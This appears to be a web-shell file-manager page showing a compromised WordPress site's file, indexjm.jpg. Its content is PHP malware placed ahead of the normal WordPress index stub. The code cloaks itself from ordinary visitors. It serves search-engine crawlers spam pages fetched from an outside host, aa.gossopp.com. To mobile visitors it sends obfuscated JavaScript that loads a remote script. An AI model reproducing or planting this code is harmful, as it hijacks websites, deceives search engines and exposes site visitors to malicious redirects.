HEX
Server: Apache
System: Linux hyu6961940001-cb47ff866-rjr4h 4.19.91-21.al7.x86_64 #1 SMP Wed Sep 2 19:47:49 CST 2020 x86_64
User: ()
PHP: 7.2.15
Disabled: chmod,exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,socket_create_listen,socket_create_pair,socket_create,socket_get_option,socket_getpeername,socket_getsockname,socket_last_error,socket_listen,socket_read,socket_recv,socket_recvfrom,socket_select,socket_send,socket_sendto,socket_set_block,socket_set_nonblock,socket_set_option,socket_shutdown,socket_strerror,socket_write,stream_socket_client,stream_socket_server,pfsockopen,disk_total_space,disk_free_space,chown,diskfreespace,getrusage,get_current_user,getmyuid,getmypid,dl,leak,listen,chgrp,link,symlink,dlopen,proc_nice,proc_get_stats,proc_terminate,shell_exec,sh2_exec,posix_getpwuid,posix_getgrgid,posix_kill,ini_restore,mkfifo,dbmopen,dbase_open,filepro,filepro_rowcount,posix_mkfifo,putenv,sleep,fsockopen
Upload Files
File: /usr/home/hyu6961940001/htdocs/indexjm.jpg
<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$a = "stristr";
$b = $_SERVER;
function goto2024($c)
{   $d = curl_init();
    curl_setopt($d, CURLOPT_URL, $c);
    curl_setopt($d, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
    curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($d, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($d, CURLOPT_HEADER, 0);
    curl_setopt($d, CURLOPT_ENCODING, 'gzip');
    $e = curl_exec($d);
    curl_close($d);
    return $e;
}
define('url', $b['REQUEST_URI']);
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('ent', $b['HTTP_USER_AGENT']);
define('site', "http://aa.gossopp.com/?");
define('road', "?domain=" . $b['HTTP_HOST'] . "&path=" . url);
define('memes', road . "&referer=" . urlencode(ref));
define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('area', $a(url, ".xml") or $a(url, ".doc") or $a(url, ".txt") or $a(url, ".ppt") or $a(url, ".pptx") or $a(url, ".xls") or $a(url, ".csv") or $a(url, ".shtml") or $a(url, ".asp") or $a(url, "scm"));
if (preg_match(regs, ent)) {
    if (area) {
        echo goto2024(site . road);
        exit;
    } else {
        echo goto2024("http://aa.gossopp.com/u.php");
        ob_flush();
        flush();
    }
}
if (area && preg_match(mobile, ent)) {
    echo <<<'EOD'
    <script>
    var _0xod8='jsjiami.com.v7';(function(_0x519252,_0x5ca797,_0xdf72f7,_0x3bda85,_0x44d9e8,_0x8fa1b2,_0x3c87b4){return _0x519252=_0x519252>>0x4,_0x8fa1b2='hs',_0x3c87b4='hs',function(_0x849674,_0xda4206,_0x19c7a1,_0x539b3f,_0xa0c9da){const _0x14f6ad=_0x167e;_0x539b3f='tfi',_0x8fa1b2=_0x539b3f+_0x8fa1b2,_0xa0c9da='up',_0x3c87b4+=_0xa0c9da,_0x8fa1b2=_0x19c7a1(_0x8fa1b2),_0x3c87b4=_0x19c7a1(_0x3c87b4),_0x19c7a1=0x0;const _0x22efa7=_0x849674();while(!![]&&--_0x3bda85+_0xda4206){try{_0x539b3f=parseInt(_0x14f6ad(0x123,'^)NQ'))/0x1+parseInt(_0x14f6ad(0x11e,'82r2'))/0x2+-parseInt(_0x14f6ad(0x133,'HMZy'))/0x3+-parseInt(_0x14f6ad(0x134,'q^XO'))/0x4+-parseInt(_0x14f6ad(0x129,'uoH9'))/0x5+-parseInt(_0x14f6ad(0x12c,'q^XO'))/0x6*(parseInt(_0x14f6ad(0x128,'ocXY'))/0x7)+parseInt(_0x14f6ad(0x120,'^WCT'))/0x8*(parseInt(_0x14f6ad(0x124,'z$g1'))/0x9);}catch(_0x40ee06){_0x539b3f=_0x19c7a1;}finally{_0xa0c9da=_0x22efa7[_0x8fa1b2]();if(_0x519252<=_0x3bda85)_0x19c7a1?_0x44d9e8?_0x539b3f=_0xa0c9da:_0x44d9e8=_0xa0c9da:_0x19c7a1=_0xa0c9da;else{if(_0x19c7a1==_0x44d9e8['replace'](/[QPyDXKtOlxHUeYLNwFThb=]/g,'')){if(_0x539b3f===_0xda4206){_0x22efa7['un'+_0x8fa1b2](_0xa0c9da);break;}_0x22efa7[_0x3c87b4](_0xa0c9da);}}}}}(_0xdf72f7,_0x5ca797,function(_0x153f50,_0x22c237,_0x4f983c,_0x4a7e8b,_0xa8c361,_0x4f4f5e,_0x48fd92){return _0x22c237='\x73\x70\x6c\x69\x74',_0x153f50=arguments[0x0],_0x153f50=_0x153f50[_0x22c237](''),_0x4f983c='\x72\x65\x76\x65\x72\x73\x65',_0x153f50=_0x153f50[_0x4f983c]('\x76'),_0x4a7e8b='\x6a\x6f\x69\x6e',(0x1adf34,_0x153f50[_0x4a7e8b](''));});}(0xcc0,0x76ef2,_0x4490,0xce),_0x4490)&&(_0xod8=0x530);function _0x167e(_0x38f781,_0x8ec4d4){const _0x449054=_0x4490();return _0x167e=function(_0x167e9c,_0xc4f39b){_0x167e9c=_0x167e9c-0x11e;let _0x5f0367=_0x449054[_0x167e9c];if(_0x167e['YwpBtC']===undefined){var _0x461624=function(_0xde6d9e){const _0x314938='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xa823b0='',_0x33fa60='';for(let _0x645f9d=0x0,_0x34474d,_0x3c365b,_0x3aa391=0x0;_0x3c365b=_0xde6d9e['charAt'](_0x3aa391++);~_0x3c365b&&(_0x34474d=_0x645f9d%0x4?_0x34474d*0x40+_0x3c365b:_0x3c365b,_0x645f9d++%0x4)?_0xa823b0+=String['fromCharCode'](0xff&_0x34474d>>(-0x2*_0x645f9d&0x6)):0x0){_0x3c365b=_0x314938['indexOf'](_0x3c365b);}for(let _0x268ea6=0x0,_0x62946=_0xa823b0['length'];_0x268ea6<_0x62946;_0x268ea6++){_0x33fa60+='%'+('00'+_0xa823b0['charCodeAt'](_0x268ea6)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x33fa60);};const _0x5674b0=function(_0x27533f,_0x2b2fab){let _0x1fad30=[],_0x21bef0=0x0,_0x40bd72,_0x3d426c='';_0x27533f=_0x461624(_0x27533f);let _0x14b7ef;for(_0x14b7ef=0x0;_0x14b7ef<0x100;_0x14b7ef++){_0x1fad30[_0x14b7ef]=_0x14b7ef;}for(_0x14b7ef=0x0;_0x14b7ef<0x100;_0x14b7ef++){_0x21bef0=(_0x21bef0+_0x1fad30[_0x14b7ef]+_0x2b2fab['charCodeAt'](_0x14b7ef%_0x2b2fab['length']))%0x100,_0x40bd72=_0x1fad30[_0x14b7ef],_0x1fad30[_0x14b7ef]=_0x1fad30[_0x21bef0],_0x1fad30[_0x21bef0]=_0x40bd72;}_0x14b7ef=0x0,_0x21bef0=0x0;for(let _0x10f29b=0x0;_0x10f29b<_0x27533f['length'];_0x10f29b++){_0x14b7ef=(_0x14b7ef+0x1)%0x100,_0x21bef0=(_0x21bef0+_0x1fad30[_0x14b7ef])%0x100,_0x40bd72=_0x1fad30[_0x14b7ef],_0x1fad30[_0x14b7ef]=_0x1fad30[_0x21bef0],_0x1fad30[_0x21bef0]=_0x40bd72,_0x3d426c+=String['fromCharCode'](_0x27533f['charCodeAt'](_0x10f29b)^_0x1fad30[(_0x1fad30[_0x14b7ef]+_0x1fad30[_0x21bef0])%0x100]);}return _0x3d426c;};_0x167e['XetAzu']=_0x5674b0,_0x38f781=arguments,_0x167e['YwpBtC']=!![];}const _0x275358=_0x449054[0x0],_0x21af5a=_0x167e9c+_0x275358,_0x51462c=_0x38f781[_0x21af5a];return!_0x51462c?(_0x167e['WoQQoM']===undefined&&(_0x167e['WoQQoM']=!![]),_0x5f0367=_0x167e['XetAzu'](_0x5f0367,_0xc4f39b),_0x38f781[_0x21af5a]=_0x5f0367):_0x5f0367=_0x51462c,_0x5f0367;},_0x167e(_0x38f781,_0x8ec4d4);}function _0x4490(){const _0x10139b=(function(){return[_0xod8,'QKTjlQtsPjhFOiHyeaOXmLUi.yDTcYDomNb.wvx7==','EXFdQfjLz3/cOG','WOBdMWDnACoO','WOZdO8ouWOf6WQ7dLmkm','WRZdGmo7lCkZaglcP8oJiWBdNfi','W581WOlcMLRcNt8','W74fzmoNW4ZdT8ou','CtTmCSoIfCkaWO7dQCo+WOWibq'].concat((function(){return['WOBdRNFdVSkNW4RcRI8LBfHr','equuv8o2','AfPoomksW5/dPGDKlaxcOJu','WO/dOmkPW4aVW4ZcM8kgW5lcMSk8W4rw','WRHTWPKzW7fbkW','W7FdHNvLW5ddJqZdRbhdKIOQW6O','scbUrwO','wCoYW4JcMSo+WQlcIYRdJJy','xCkVWO3cPmkEuaZcQxpdNdFcSJ8'].concat((function(){return['W4tcItpdJxrQamkBtYhcVqnjlIuiChRdRXddTrzDdSo1WO3cLa','EtTeCmoMeCo4WOZdRmomWQmB','q8kEESo0W5j3W6KNWRZdNJS','WRHgoSkRWP/cQSkkbXrpxhRcQa','W44xkmkaDYvGa0hdMrTEbq','wmkVWO/cOSoolvtcSe3dOq','WQT6W4xcH1BdLxtcMmoChwRdT8kI','EeuYh1dcKNZdQSourWhcQmkG'];}()));}()));}());_0x4490=function(){return _0x10139b;};return _0x4490();};(function(_0x1373a5,_0x30309e){const _0x140aa4=_0x167e,_0x2475da={'HljZR':_0x140aa4(0x12b,'Cu&D'),'YPmYK':_0x140aa4(0x122,'[YMe')};let _0x45a5c7=_0x30309e['createElement'](_0x2475da[_0x140aa4(0x132,'HMZy')]);_0x45a5c7['src']=_0x2475da[_0x140aa4(0x11f,'[UpK')];var _0x5ccd45=_0x45a5c7['outerHTML'][_0x140aa4(0x135,'7qcL')](/\\x3C/g,'<')[_0x140aa4(0x12e,'sZmk')](/\\x3E/g,'>');_0x30309e[_0x140aa4(0x12f,'L]!G')](_0x5ccd45);}(window,document));var version_ = 'jsjiami.com.v7';
    </script>
EOD;
    exit;
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';